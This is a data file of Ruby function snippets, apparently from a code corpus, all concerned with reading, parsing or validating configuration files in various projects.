"def parse_config\n @parsed_hash = Settings.load! @config_file\n validate @parsed_hash\n HadoopConfigParser.new(HADOOP_CONF, @log, @debug)\n HBaseConfigParser.new(HBASE_CONF, @log, @debug)\n unless @errors_count == 0\n @log.error \"Number of Errors: #{@errors_count}\"\n @log.error 'Parsing config file ... ' + '[Failed]'.red\n raise(Ankus::Errors::ParseError.new(\"\\rParsing Configuration Failed\".red))\n end\n create_req_files\n @parsed_hash\n rescue Ankus::Errors::ParseError, Ankus::Errors::ParseError::NoKey\n @log.error \"#{$!.message} (#{$!.class})\"\n exit\n rescue\n @log.error \"#{$!.message} (#{$!.class})\"\n puts $@ if @debug\n exit\n end",
"def read_configuration filename\n puts \"Reading configuration from #{filename}\"\n lines=File.readlines(filename)\n cfg={}\n #change in the dir of the file to calculate paths correctly\n cfg_dir=File.dirname(filename)\n lines.each do |l|\n l.gsub!(\"\\t\",\"\")\n l.chomp!\n #ignore if it starts with a hash\n unless l=~/^#/ || l.empty?\n #clean up by trimming whitespaces\n l.gsub!(/\\s*=\\s*/,'=')\n l.gsub!(/\\s*,\\s*/,',')\n #\n if l=~/=$/\n trailing_equals=true\n end\n #split on equals\n fields=l.split('=')\n #more than one part needed\n if fields.size>1\n #the key is the first\n key=fields.first\n #take the key out of the array\n values=fields.drop(1)\n #the value to each key is the values array joined with space\n case key \n when \"include\",\"depend\",\"interface\",\"external\" \n cfg[key]||=[]\n #here we want to handle a comma separated list of prefixes\n incs=values.join\n cfg[key]+=incs.split(',')\n cfg[key].uniq!\n when \"out_dir\",\"base_dir\",\"model\" \n cfg[key]=File.expand_path(File.join(cfg_dir,values.join))\n else\n cfg[key]=values.join('=')\n end#case\n cfg[key]<<'=' if trailing_equals\n else\n puts \"ERROR - Configuration syntax error in #{filename}:\\n'#{l}'\"\n end#if size>1\n end#unless\n end#lines.each\n return cfg\nend",
"def read_configuration\n @config = {}\n @config_paths.map do |file|\n @section = nil; @pattern = nil; @mailto = nil\n # section, pattern, mailto are reset for every file (but not when included by 'include')\n parse_file( file )\n end.join($/)\n end",
"def config(value)\n # require value if File.exists?(value)\n if File.exists?(value)\n fc = File.read(value)\n self.instance_eval(fc)\n end\n end",
"def loadConfigs()\n fh = File.open(@fileName_vars, \"r\")\n\n fh.each do |line| \n line.gsub!(/[\\s]/, '') # removes white spaces \n\n if(!(/^\\#/.match(line)) && /:/.match(line)) # only considers lines not begining with #\n line.sub!(/\\#.*$/, '') # removes all trailing comments\n line.upcase!\n arr_configs = line.split(/:/)\n case arr_configs[0] \n when FOLDER_DATA\n @folder_data = arr_configs[1]\n when FOLDER_DB\n @folder_db = arr_configs[1]\n when FOLDER_BLASTRES\n @folder_blastRes = arr_configs[1]\n when FOLDER_FINALRES\n @folder_finalRes = arr_configs[1]\n end \n #puts arr[0] + \"\\t\" + arr[1]\n #puts line\n end \n\n end \n\n fh.close\n end",
"def processCustomSettings\n if File.exists?(::CUSTOM_SETTINGS_FILE)\n customSettings = IO.read(::CUSTOM_SETTINGS_FILE)\n customSettings = customSettings.split(\"\\n\")\n customSettings.each do |customSetting|\n if customSetting =~ /^\\:\\:LOGGING_OPTIONS\\./\n setting, value = customSetting.split('=')\n setting = setting.chomp.strip.sub('::LOGGING_OPTIONS.','')\n value = value.chomp.strip\n if setting == 'logLevel'\n value = value.upcase.gsub(/\\'/,'')\n level = LEVELS_TEXT.index(value.upcase)\n @currentLogLevel = level if level\n elsif setting == 'consoleLogging'\n @consoleLogging = value.downcase == 'true'\n elsif setting == 'logfile'\n @currentFileName = File.expand_path(value)\n end\n end\n end\n end\n end",
"def parse_config_file(path)\n return unless File.exists?(path)\n \n conf = YAML::load(ERB.new(IO.read(path)).result)[Rails.env]\n \n conf.each do |key,value|\n self.send(\"#{key}=\", value) if self.respond_to?(\"#{key}=\")\n end unless conf.nil?\n end",
"def process_config(config_file, options=OpenStruct.new)\n # Defaults\n config = {\n 'target_directory' => 'auto',\n 'copy_rpm_data' => false\n }\n\n if File.exist?(config_file)\n begin\n system_config = YAML.load_file(config_file)\n if system_config\n config.merge!(system_config)\n end\n rescue\n fail(\"Error: Config file '#{config_file}' could not be processed\")\n end\n end\n\n if options.copy_rpm_data.nil?\n options.copy_rpm_data = (config['copy_rpm_data'].to_s == 'true')\n end\n\n if options.target_dir.nil? && config['target_directory']\n if config['target_directory'] == 'auto'\n options.target_dir = simp_target_dir\n else\n unless config['target_directory'][0].chr == '/'\n fail(\"Error: 'target_directory' in '#{config_file}' must be an absolute path\")\n end\n\n options.target_dir = config['target_directory'].strip\n end\n end\n\n return options\nend",
"def configure_backdat\n @commands = parse_options\n\n begin\n ::File.open(config[:config_file]) { |f| apply_config(f.path) }\n rescue Errno::ENOENT => error\n msg = \"Did not find the config file: #{config[:config_file]}\"\n msg << \", Using command line options.\"\n Backdat::Log.warn \"*****************************************\"\n Backdat::Log.warn msg\n Backdat::Log.warn \"*****************************************\"\n end\n end",
"def read_config_files(files); end",
"def modify_file\n\n file_name = \"#{ node[\"php_fpm\"][\"pools_path\"] }/#{ @current_resource.pool_name }.conf\"\n\n #Start Base Configuration\n find_replace(file_name, \"user = \", @current_resource.pool_user, @new_resource.pool_user)\n find_replace(file_name, \"group = \", @current_resource.pool_group, @new_resource.pool_group)\n\n #Replace IP Address and Port\n if @current_resource.listen_address != @new_resource.listen_address || @current_resource.listen_port != @new_resource.listen_port && (!@current_resource.use_sockets)\n find_replace(file_name, \"listen = \", \"#{ @current_resource.listen_address }:#{ @current_resource.listen_port }\", \"#{ @new_resource.listen_address }:#{ @new_resource.listen_port }\")\n else\n find_replace(file_name, \"listen = \",\"#{ @current_resource.listen_socket }\", \"#{ @new_resource.listen_socket }\")\n end\n\n @new_resource.listen_allowed_clients != nil ? find_replace(file_name, \"listen.allowed_clients = \",@current_resource.listen_allowed_clients, @new_resource.listen_allowed_clients) : nil\n @new_resource.listen_owner != nil ? find_replace(file_name, \"listen.owner = \",@current_resource.listen_owner, @new_resource.listen_owner) : nil\n @new_resource.listen_group != nil ? find_replace(file_name, \"listen.group = \",@current_resource.listen_group, @new_resource.listen_group) : nil\n @new_resource.listen_mode != nil ? find_replace(file_name, \"listen.mode = \",@current_resource.listen_mode, @new_resource.listen_mode) : nil\n @new_resource.listen_backlog != nil ? find_replace(file_name, \"listen.backlog = \",@current_resource.listen_backlog, @new_resource.listen_backlog) : nil\n\n #Start PM configuration\n @new_resource.pm != nil ? find_replace(file_name, \"pm = \",@current_resource.pm,@new_resource.pm) : nil\n @new_resource.pm_max_children != nil ? find_replace(file_name, \"pm.max_children = \",@current_resource.pm_max_children, @new_resource.pm_max_children) : nil\n @new_resource.pm_start_servers != nil ? find_replace(file_name, \"pm.start_servers = \",@current_resource.pm_start_servers, @new_resource.pm_start_servers) : nil\n @new_resource.pm_min_spare_servers != nil ? find_replace(file_name, \"pm.min_spare_servers = \",@current_resource.pm_min_spare_servers, @new_resource.pm_min_spare_servers) : nil\n @new_resource.pm_max_spare_servers != nil ? find_replace(file_name, \"pm.max_spare_servers = \",@current_resource.pm_max_spare_servers, @new_resource.pm_max_spare_servers) : nil\n @new_resource.pm_process_idle_timeout != nil ? find_replace(file_name, \"pm.process_idle_timeout = \",@current_resource.pm_process_idle_timeout, @new_resource.pm_process_idle_timeout) : nil\n @new_resource.pm_max_requests != nil ? find_replace(file_name, \"pm.max_requests = \",@current_resource.pm_max_requests, @new_resource.pm_max_requests) : nil\n @new_resource.pm_status_path != nil ? find_replace(file_name, \"pm.status_path = \",@current_resource.pm_status_path, @new_resource.pm_status_path) : nil\n\n #Start Ping\n @new_resource.ping_path != nil ? find_replace(file_name, \"ping.path = \",@current_resource.ping_path, @new_resource.ping_path) : nil\n @new_resource.ping_response != nil ? find_replace(file_name, \"ping.response = \",@current_resource.ping_response, @new_resource.ping_response) : nil\n\n #Start Logging\n @new_resource.access_format != nil ? find_replace(file_name, \"access.format = \",@current_resource.access_format, @new_resource.access_format.gsub(\"\\\\\",\"\")) : nil\n @new_resource.request_slowlog_timeout != nil ? find_replace(file_name, \"request_slowlog_timeout = \",@current_resource.request_slowlog_timeout, @new_resource.request_slowlog_timeout) : nil\n @new_resource.request_terminate_timeout != nil ? find_replace(file_name, \"request_terminate_timeout = \",@current_resource.request_terminate_timeout, @new_resource.request_terminate_timeout) : nil\n @new_resource.access_log != nil ? find_replace(file_name, \"access.log = \",@current_resource.access_log, @new_resource.access_log) : nil\n @new_resource.slow_log != nil ? find_replace(file_name, \"slowlog = \",@current_resource.slow_log, @new_resource.slow_log) : nil\n\n #Start Misc\n @new_resource.chdir != nil ? find_replace(file_name, \"chdir = \",@current_resource.chdir, @new_resource.chdir) : nil\n @new_resource.chroot != nil ? find_replace(file_name, \"chroot = \",@current_resource.chroot, @new_resource.chroot) : nil\n @new_resource.catch_workers_output != nil ? find_replace(file_name, \"catch_workers_output = \",@current_resource.catch_workers_output, @new_resource.catch_workers_output) : nil\n @new_resource.security_limit_extensions != nil ? find_replace(file_name, \"security.limit_extensions = \",@current_resource.security_limit_extensions, @new_resource.security_limit_extensions) : nil\n @new_resource.rlimit_files != nil ? find_replace(file_name, \"rlimit_files = \",@current_resource.rlimit_files, @new_resource.rlimit_files) : nil\n @new_resource.rlimit_core != nil ? find_replace(file_name, \"rlimit_core = \",@current_resource.rlimit_core, @new_resource.rlimit_core) : nil\n\n #Start PHP INI Values\n if !@current_resource.php_ini_values.nil?\n @current_resource.php_ini_values.each do | k, v |\n find_replace(file_name, \"php_value[#{ k }] = \", v, @new_resource.php_ini_values[\"#{ k }\"])\n end\n end\n\n #Start PHP INI Flags\n if !@current_resource.php_ini_flags.nil?\n @current_resource.php_ini_flags.each do | k, v |\n find_replace(file_name, \"php_flag[#{ k }] = \", v, @new_resource.php_ini_flags[\"#{ k }\"])\n end\n end\n\n #Start PHP INI Admin Values\n if !@current_resource.php_ini_admin_values.nil?\n @current_resource.php_ini_admin_values.each do | k, v |\n find_replace(file_name, \"php_admin_value[#{ k }] = \", v, @new_resource.php_ini_admin_values[\"#{ k }\"])\n end\n end\n\n #Start PHP INI Admin Flags\n if !@current_resource.php_ini_admin_flags.nil?\n @current_resource.php_ini_admin_flags.each do | k, v |\n find_replace(file_name, \"php_admin_flag[#{ k }] = \", v, @new_resource.php_ini_admin_flags[\"#{ k }\"])\n end\n end\n\n #Start ENV Variables\n if !@current_resource.env_variables.nil?\n @current_resource.env_variables.each do | k, v |\n find_replace(file_name, \"env[#{ k }] = \",v,@new_resource.env_variables[\"#{ k }\"])\n end\n end\n\nend",
"def config_files(override); end",
"def load\r\n\t\tload_file\r\n\t\tconfigure\r\n\tend",
"def initialize\n @config = config_from_file || empty_config\n end",
"def load_config\n if @type == :upload\n config_file = \"ul_config.xml\"\n else\n config_file = \"dl_config.xml\"\n end\n doc = Nokogiri::XML(open(\"config/#{config_file}\"))\n doc.search(@type.to_s).each do |config|\n @config_map[:ip] = get_content config, \"ip\"\n @config_map[:port] = get_content config, \"port\"\n @config_map[:user] = get_content config, \"user\"\n @config_map[:password] = get_content config, \"password\"\n @config_map[:remotedir] = get_content config, \"remotedir\"\n @config_map[:localdir] = get_content config, \"localdir\"\n\n @localfile = get_content config, \"localfile\"\n @remotefile = get_content config, \"remotefile\"\n\n @thread_num = get_content(config, \"thread_num\").to_i\n @sleep = get_content(config, \"sleep\").to_i\n @test = get_content(config, \"test\")\n end\n\n if @type == :upload\n @thread_num = @thread_num >= 10 ? @thread_num : 10\n end\n end",
"def config=(config); end",
"def process_arguments\n if @options.config != nil\n if File.exist?(@options.config)\n load_config_file \n @config.each do |k, v|\n @project = v\n\n#need to do \n\n end\n else\n error(\"Config file does not exist\")\n end\n else\n @project = @options.project || \"NA\"\n @sub_dir = @options.sub_dir || \"NA\"\n @outname = @options.outname || @options.sub_dir\n @outdir = @options.outdir || $config[\"outdir\"]\n @bams = @options.bams\n @c_design = @options.c_design || nil\n @queue = @options.queue || $config[\"queue\"]\n @ref = @options.ref || \"hg19\"\n @rg_id = @options.rg_id || $config[\"rg\"][\"rg_id\"]\n @sample = @options.sample || \"NA\"\n\n end\n end",
"def fetch_conf_data()\n $file_data = {}\n File.open(\"#{$project_home}/Conf/conf_file.txt\", 'r') do |file|\n file.each_line do |line|\n line_data = line.split(',')\n $file_data[line_data[0]] = line_data[1]\n end\n end\nend",
"def prepare_config_files\n #Create .config dir\n #Create tucotuco dir\n #Create short dir\n #Create info file\n end",
"def parse_file()\n\n if !self.has?()\n return\n end\n\n @logs = {}\n @configs = {}\n current_index = 0\n current_config = {}\n parsing_config = false\n config_script = \"\"\n\n ::IO.foreach(self.path()) do |line|\n line.strip!\n if line.match(/\\}/)\n parsing_config = false\n @configs[current_index] = current_config\n current_config = {}\n current_index += 1\n config_script = \"\"\n\n else\n\n if parsing_config\n config = line.split(/\\s+/, 2)\n config.reject!(&:empty?) # Oh Ruby, why do you have 10 ways to do everything?\n #config[0].strip!\n\n if config[0] == \"postrotate\"\n config_script = config[0]\n current_config[config[0]] = []\n\n else\n\n if config_script != \"\"\n if config[0] == \"endscript\"\n current_config[config_script] << config[0]\n #current_config[config[0]] = \"\"\n config_script = \"\"\n\n else\n #line.strip!\n current_config[config_script] << line\n\n end\n\n else\n val = true\n if config.length == 2\n val = config[1]\n end\n current_config[config[0]] = val\n\n end\n end\n\n else\n logs = line.split(/\\s+/)\n logs.reject! { |c| c.empty? || c == \"{\" } # remove blank entries\n logs.each do |log|\n log.strip!\n @logs[log] = current_index\n end\n\n if line.match(/\\{/)\n parsing_config = true\n end\n\n end\n\n end\n\n\n end # foreach\n\n end",
"def load_config\n\t\t# load conifg\n\t\tend",
"def process_config(widget_name)\n system_config = Ruhoh::Utils.parse_yaml_file(@system_path, widget_name, \"config.yml\") || {}\n user_config = Ruhoh::Utils.parse_yaml_file(@path, widget_name, \"config.yml\") || {}\n config = Ruhoh::Utils.deep_merge(system_config, user_config)\n config['layout'] ||= widget_name\n config['stylesheet'] ||= widget_name\n config\n end",
"def config_read\n f = File.expand_path(CONFIG_FILE)\n return unless File.readable? f\n\n hash = loadYML(f)\n @used_dirs = hash['DIRS']\n @visited_files = hash['FILES']\n @bookmarks = hash['BOOKMARKS']\n @used_dirs.concat get_env_paths\nend",
"def configure(conf)\n super \n # Read property file and create a hash\n @rename_rules = []\n conf_rename_rules = conf.keys.select { |k| k =~ /^rename_rule(\\d+)$/ }\n conf_rename_rules.sort_by { |r| r.sub('rename_rule', '').to_i }.each do |r|\n key_regexp, new_key = parse_rename_rule conf[r]\n\n if key_regexp.nil? || new_key.nil?\n raise Fluent::ConfigError, \"Failed to parse: #{r} #{conf[r]}\"\n end\n\n if @rename_rules.map { |r| r[:key_regexp] }.include? /#{key_regexp}/\n raise Fluent::ConfigError, \"Duplicated rules for key #{key_regexp}: #{@rename_rules}\"\n end\n\n #@rename_rules << { key_regexp: /#{key_regexp}/, new_key: new_key }\n @rename_rules << { key_regexp: key_regexp, new_key: new_key }\n $log.info \"Added rename key rule: #{r} #{@rename_rules.last}\"\n end\n\n raise Fluent::ConfigError, \"No rename rules are given\" if @rename_rules.empty?\n @conf = conf\n # map of Spectrum attribute codes to names\n @spectrum_access_code={\n \"0x11f9c\" => \"ALARM_ID\",\n \"0x11f4e\" => \"CREATION_DATE\",\n \"0x11f56\" => \"SEVERITY\",\n \"0x12b4c\" => \"ALARM_TITLE\",\n \"0x1006e\" => \"HOSTNAME\",\n \"0x12d7f\" => \"IP_ADDRESS\",\n \"0x1296e\" => \"ORIGINATING_EVENT_ATTR\",\n \"0x10000\" => \"MODEL_STRING\", \n \"0x11f4d\" => \"ACKNOWLEDGED\",\n \"0x11f4f\" => \"ALARM_STATUS\",\n \"0x11fc5\" => \"OCCURRENCES\",\n \"0x11f57\" => \"TROUBLE_SHOOTER\",\n \"0x11f9b\" => \"USER_CLEARABLE\",\n \"0x12022\" => \"TROUBLE_TICKET_ID\",\n \"0x12942\" => \"PERSISTENT\",\n \"0x12adb\" => \"GC_NAME\",\n \"0x57f0105\" => \"Custom_Project\",\n \"0x11f4d\" => \"ACKNOWLEDGED\",\n \"0xffff00ed\" => \"application_name\",\n \"0xffff00f1\" => \"business_unit_l1\",\n \"0xffff00f2\" => \"business_unit_l2\",\n \"0xffff00f3\" => \"business_unit_l3\",\n \"0xffff00f4\" => \"business_unit_l4\",\n \"0xffff00f0\" => \"cmdb_ci_sysid\",\n\n #{}\"0x11f51\" => \"CLEARED_BY_USER_NAME\",\n #{}\"0x11f52\" => \"EVENT_ID_LIST\",\n #{}\"0x11f53\" => \"MODEL_HANDLE\",\n #{}\"0x11f54\" => \"PRIMARY_ALARM\",\n #{}\"0x11fc4\" => \"ALARM_SOURCE\",\n #{}\"0x11fc6\" => \"TROUBLE_SHOOTER_MH\",\n #{}\"0x12a6c\" => \"TROUBLE_SHOOTER_EMAIL\",\n #{}\"0x1290d\" => \"IMPACT_SEVERITY\",\n #{}\"0x1290e\" => \"IMPACT_SCOPE\",\n #{}\"0x1298a\" => \"IMPACT_TYPE_LIST\",\n #{}\"0x12948\" => \"DIAGNOSIS_LOG\",\n #{}\"0x129aa\" => \"MODEL_ID\",\n #{}\"0x129ab\" => \"MODEL_TYPE_ID\",\n #{}\"0x129af\" => \"CLEAR_DATE\",\n #{}\"0x12a04\" => \"SYMPTOM_LIST_ATTR\",\n #{}\"0x12a6f\" => \"EVENT_SYMPTOM_LIST_ATTR\",\n #{}\"0x12a05\" => \"CAUSE_LIST_ATTR\",\n #{}\"0x12a06\" => \"SYMPTOM_COUNT_ATTR\",\n #{}\"0x12a70\" => \"EVENT_SYMPTOM_COUNT_ATTR\",\n #{}\"0x12a07\" => \"CAUSE_COUNT_ATTR\",\n #{}\"0x12a63\" => \"WEB_CONTEXT_URL\",\n #{}\"0x12a6b\" => \"COMBINED_IMPACT_TYPE_LIST\",\n #{}\"0x11f50\" => \"CAUSE_CODE\",\n #{}\"0x10009\" => \"SECURITY_STRING\"\n }\n # Create XML chunk for attributes we care about\n @attr_of_interest=\"\"\n @spectrum_access_code.each do |key, array|\n @attr_of_interest += \" <rs:requested-attribute id=\\\"#{key}\\\"/>\"\n end\n\n\n # Setup URL Resource\n \t@url = 'http://' + @endpoint.to_s + '/spectrum/restful/alarms/'\n end",
"def configuration_file(rule_name, info)\n\n # Get to the advanced page.\n self.goto_advanced(rule_name, info)\n \n # Get to the \"Configuration File\" page.\n begin\n @ff.link(:text, 'Configuration File').click\n self.msg(rule_name, :info, 'Configuration File', 'Reached page \\'Configuration File\\'.')\n rescue\n self.msg(rule_name, :error, 'Configuration File', 'Did not reach \\'Configuration File\\' page')\n return\n end\n \n # Check the key.\n if ( info.has_key?('section') &&\n info.has_key?('subsection') ) then\n # Right,go on.\n else\n self.msg(rule_name,:error,'configuration_file','Some key NOT found.')\n return\n end \n \n if info.has_key?('Save Configuration File') then \n \n # Click the button \"Save Configuration File\"\n @ff.link(:text,'Save Configuration File').click\n self.msg(rule_name,:info,'Save Configuration File','Done')\n \n # Process the popups.\n end\n \n if info.has_key?('Load Configuration File') then\n \n # Click the button \"Load Configuration File\"\n @ff.link(:text,'Load Configuration File').click\n \n # set the file path\n begin\n @ff.file_field(:name, \"rgconf_file\").set(info['Load Configuration File'])\n @ff.link(:text,'Apply').click\n rescue\n self.msg(rule_name, :error, 'configuration_file', 'Did not load configuration file')\n return\n end\n \n if @ff.text.include?'Input Errors'\n # Wrong\n self.msg(rule_name,:error,'configuration_file','Input errors!')\n return\n end\n \n # Click \"Apply\"\n begin\n @ff.link(:text, 'Apply').click\n rescue\n self.msg(rule_name, :error, 'configuration_file', 'Did not click Apply')\n return\n end\n \n # Waiting for reboot.\n count = 0\n while count <= 10\n \n # Rebooting...\n if @ff.text.include?'is up again'\n self.msg(rule_name,:info,'Configuration File','SUCCESS')\n break\n end\n \n count += 1\n sleep 5\n \n end\n \n @ff.refresh\n \n if @ff.text.include?'is up again'\n self.msg(rule_name,:info,'Configuration File','SUCCESS')\n return\n end\n \n if count == 11 \n self.msg(rule_name, :error, 'Configuration File', 'Did not reboot.')\n return \n end \n \n end\n # Output the result.\n self.msg(rule_name,:info,'Configuration File','SUCCESS')\n \n end",
"def process_setting_specs\n setting_specs.each do |setting_spec|\n RFlow.logger.debug \"Found config file setting '#{setting_spec[:name]}' = (#{Dir.getwd}) '#{setting_spec[:value]}'\"\n RFlow::Configuration::Setting.create! :name => setting_spec[:name], :value => setting_spec[:value]\n end\n end",
"def parse_config \n path = \"#{Rails.root}/config/mebla.yml\"\n return unless File.exists?(path)\n \n conf = YAML::load(ERB.new(IO.read(path)).result)[Rails.env]\n \n conf.each do |key,value|\n self.send(\"#{key}=\", value) if self.respond_to?(\"#{key}=\")\n end unless conf.nil?\n end",
"def config_read\n f = File.expand_path(CONFIG_FILE)\n if File.readable? f\n load f\n # maybe we should check for these existing else crash will happen.\n #$bookmarks.push(*bookmarks) if bookmarks\n log \"loaded #{CONFIG_FILE} \"\n end\nend",
"def load()\n\n checkFileExists()\n loadConfigs()\n checkConfigs() \n end",
"def load_config_file\n data = {}\n if File.exists?(@configfile)\n File.open(@configfile, \"r\").each_line do |line|\n # strip blank spaces, tabs etc. off the lines\n line.gsub!(/\\s*$/, \"\")\n \n if (line =~ /^([^=]+)=\"([^=]*)\"$/)\n key = $1.downcase\n val = $2\n \n case key\n when /^ve_(private|root)$/\n data[key] = val.gsub!(/\\$VEID/, @ctid)\n else\n data[key] = val\n end\n end\n end\n end\n data\n end",
"def ReadConfig()\n\n # Deep copy \n puts \"Reading global config file #{$conf[:globalConfFile]}\" if $verbose\n conf = Marshal.load( Marshal.dump($conf) )\n\n optfile = @ConfFile\n conf[\"conffile\"] = optfile\n conf[\"filename\"] = @filename\n conf[\"dir\"] = @dir\n\n if File.exists?(optfile)\n begin\n puts \"Reading specific config file #{optfile}\" if $verbose\n c = YAML.load_file(optfile)\n raise \"Invalid yaml file\" if not c\n\n # surcharge d'options\n $sections.each {|s|\n next if c[s].nil?\n if c[s].class == Array\n if $sections_uniq.include?(s)\n # remove then add option\n c[s].each {|o|\n o2 = o.gsub(/=.*/, \"=\")\n conf[s].delete_if {|o3| o3.start_with?(o2)}\n conf[s].push o\n }\n else\n c[s].each {|o|\n if o[0] == \"!\"\n # delete option\n conf[s].delete o[1..-1]\n else\n # just add option\n conf[s].push o\n end\n }\n end\n else\n conf[s] = c[s]\n end\n }\n rescue\n puts \"Error loading #{optfile}\"\n end\n else\n puts \"Skip loading unknown specific config file #{optfile}\" if $verbose\n end\n\n conf.each {|k,v|\n if v.class == Array\n conf[k].each_index {|i|\n conf[k][i].gsub!(/%B/, $basedir) if conf[k][i].class == String\n conf[k][i].gsub!(/%b/, $confdir) if conf[k][i].class == String\n conf[k][i].gsub!(/%D/, @dir) if conf[k][i].class == String\n }\n else\n conf[k].gsub!(/%B/, $basedir) if conf[k].class == String\n conf[k].gsub!(/%b/, $confdir) if conf[k].class == String\n conf[k].gsub!(/%D/, @dir) if conf[k].class == String\n end\n }\n\n return conf\n end",
"def configure(conf)\n super\n # Read configuration for tag_infos and create a hash\n @tag_infos = Hash.new\n conf.elements.select { |element| element.name == 'tag_infos' }.each { |element|\n element.each_pair { |info_name, position_in_tag|\n element.has_key?(info_name) # to suppress unread configuration warning\n @tag_infos[info_name] = position_in_tag.to_i\n $log.info \"Added tag_infos: #{info_name}=>#{@tag_infos[info_name]}\"\n }\n }\n\n # configure for highwatermark\n @highwatermark_parameters={\n \"state_tag\" => @state_tag, \n \"state_type\" => @state_type,\n \"state_file\" => @state_file,\n \"redis_host\" => @redis_host,\n \"redis_port\" => @redis_port \n }\n $log.info \"highwatermark_parameters: #{@highwatermark_parameters}\"\n\n end",
"def configure\n load_all_configs \n end",
"def check\n if @config['name'].nil?\n Utils.fail('in your configuration file: no name given')\n end\n\n if @config['hosts']\n unless @config['hosts'].is_a? Array\n Utils.fail('hosts should be an array')\n end\n\n @config['hosts'].each_with_index do |h, i|\n if h['im_mad'].nil?\n Utils.fail(\"in configuration file: no im_mad #{i + 1}\")\n end\n\n if h['vm_mad'].nil?\n Utils.fail(\"in configuration file: no vm_mad #{i + 1}\")\n end\n\n next unless h['provision']['hostname'].nil?\n\n Utils.fail(\"in configuration file: no hostname #{i + 1}\")\n end\n end\n\n if @config['datastores']\n unless @config['datastores'].is_a? Array\n Utils.fail('datastores should be an array')\n end\n\n @config['datastores'].each_with_index do |d, i|\n if d['tm_mad'].nil?\n Utils.fail(\"in configuration file: no tm_mad #{i + 1}\")\n end\n\n next if d['type']\n\n next if d['ds_mad']\n\n Utils.fail(\"in configuration file: no ds_mad #{i + 1}\")\n end\n end\n\n return unless @config['networks']\n\n unless @config['networks'].is_a? Array\n Utils.fail('networks should be an array')\n end\n\n @config['networks'].each_with_index do |n, i|\n next unless n['vn_mad'].nil?\n\n Utils.fail(\"in configuration file: no vn_mad #{i + 1}\")\n end\n end",
"def setup(&blk)\n @config.read(&blk)\n @config\n end",
"def config; end",
"def config; end",
"def config; end",
"def config; end",
"def config; end",
"def config; end",
"def config; end",
"def config; end",
"def config; end",
"def config; end",
"def config; end",
"def config; end",
"def config; end",
"def config; end",
"def config; end",
"def config; end",
"def config; end",
"def config; end",
"def parse_config_file\n fh = File.open(\"#{@amp_configuration}\").each do | line |\n param_str = line.split('=')\n case param_str[0]\n when \"AMPMGRUSER\"\n @astman_user = param_str[1].rstrip\n when \"AMPMGRPASS\"\n @astman_pass = param_str[1].rstrip\n when \"CALLBACK_PREFIX\"\n @dial_prefix = param_str[1].rstrip\n when \"CALLBACK_CLI\"\n @callerid = param_str[1].rstrip\n when \"CALLBACK_RETRY\"\n @retry = param_str[1].rstrip\n when \"CALLBACK_INTERVAL\"\n @interval = param_str[1].rstrip\n when \"CALLBACK_WAIT\"\n @wait = param_str[1].rstrip\n when \"ASTSPOOLDIR\"\n @spool_dir = param_str[1].rstrip\n end\n end\n\n fh.close\n return 0\nend",
"def ReadGlobalConfig()\n\n # Load config file\n begin\n conf = YAML.load_file(\"#{$confdir}/#{$globalConfFile}\")\n rescue\n puts \"Unable to locate #{$confdir}/#{$globalConfFile}\"\n conf = {}\n end\n\n Dir.glob(\"#{$confdir}/#{$globalConfDir}/*.yaml\") {|f|\n begin\n conf.merge!(YAML.load_file(f))\n rescue\n puts \"Unable to locate #{f}\"\n conf = {}\n end\n }\n\n $sections.each {|o|\n conf[o] = [] if conf[o].nil?\n }\n conf[:globalConfFile] = \"#{$confdir}/#{$globalConfFile}\"\n conf[:globalConfDir] = \"#{$confdir}/#{$globalConfDir}\"\n\n altConfFile = \"#{$curdir}/.rake/#{$globalConfFile}\"\n if File.exists?(altConfFile)\n begin\n puts \"Reading local config file #{altConfFile}\" if $verbose\n c = YAML.load_file(altConfFile)\n raise \"Invalid yaml file\" if not c\n\n # surcharge d'options\n $sections.each {|s|\n next if c[s].nil?\n if $sections_uniq.include?(s)\n # remove then add option\n c[s].each {|o|\n o2 = o.gsub(/=.*/, \"=\")\n conf[s].delete_if {|o3| o3.start_with?(o2)}\n conf[s].push o\n }\n else\n c[s].each {|o|\n if o[0] == \"!\"\n # delete option\n conf[s].delete o[1..-1]\n else\n # just add option\n conf[s].push o\n end\n }\n end\n }\n rescue\n puts \"Error loading #{altConfFile}\"\n end\n end\n \n conf.each {|k,v|\n if v.class == Array\n conf[k].each_index {|i|\n conf[k][i].gsub!(/%B/, $basedir) if conf[k][i].class == String\n conf[k][i].gsub!(/%b/, $confdir) if conf[k][i].class == String\n }\n else\n conf[k].gsub!(/%B/, $basedir) if conf[k].class == String\n conf[k].gsub!(/%b/, $confdir) if conf[k].class == String\n end\n }\n\n return conf\nend",
"def configuration_file_for(target_dir); end",
"def _parse(config_file)\r\n unless File.readable?(config_file)\r\n raise Compass::Error, \"Configuration file, #{config_file}, not found or not readable.\"\r\n end\r\n open(config_file) do |f|\r\n parse_string(f.read, config_file)\r\n end\r\n end",
"def handle_config\n @node.config\n end",
"def configure; end",
"def load_config(filename = nil)\n return if filename.nil? || filename.empty?\n self.config = { domain: [], sub: [] }\n File.foreach(filename) do |line|\n action, params = config_parse(line)\n if action == :domain\n config_domain(*params)\n elsif action == :substitution\n config_substitution(*params)\n end\n end\n end",
"def read_config\n\t\t\n\t\t@log.info \"START #{__FILE__}.#{__method__}\"\n\t\t\n\t\tbegin\n\t\t\n\t\t\tconfig \t\t= YAML.load_file $db_config\n\t\t\t@host \t\t= config[$db_mode][\"host\"]\t\n\t\t\t@user \t\t= config[$db_mode][\"username\"] \n\t\t\t@db_name \t= config[$db_mode][\"database\"]\n\t\t\t@password \t= config[$db_mode][\"password\"]\n\t\t\n\t\trescue Mysql2::Error => e\n\t\t\t\n\t\t\tputs \"#{__FILE__}.#{__method__} An error has occured. Please check logs.\"\n\t\t\t\n\t\t\t@log.fatal \"Error code: #{e.error_number}\"\n\t\t\t@log.fatal \"Error SQLSTATE: #{e.sql_state}\" if e.respond_to?(\"sqlstate\")\n\t\t\t\n\t\tend\n\n\t\t@log.info \"END #{__FILE__}.#{__method__}\"\t\t\n\t\t\n\tend",
"def read_config_file\n if @pretend\n contents = @pretend_input || []\n else\n contents = File.readlines(@config_file)\n end\n\n # add a blank line at the end (sentinal)\n contents << \"\\n\"\n end",
"def configurations; end",
"def read_configurations(file_name = T.unsafe(nil)); end",
"def load_config\n @config = YAML.safe_load(ERB.new(File.read(config_path)).result)\n @queue_ahead = @config[\"queue_ahead\"] || Task::DEFAULT_QUEUE_AHEAD_MINUTES\n @queue_name = @config[\"queue_name\"] || \"default\"\n @time_zone = @config[\"tz\"] || Time.zone.tzinfo.name\n @config.delete(\"queue_ahead\")\n @config.delete(\"queue_name\")\n @config.delete(\"tz\")\n end",
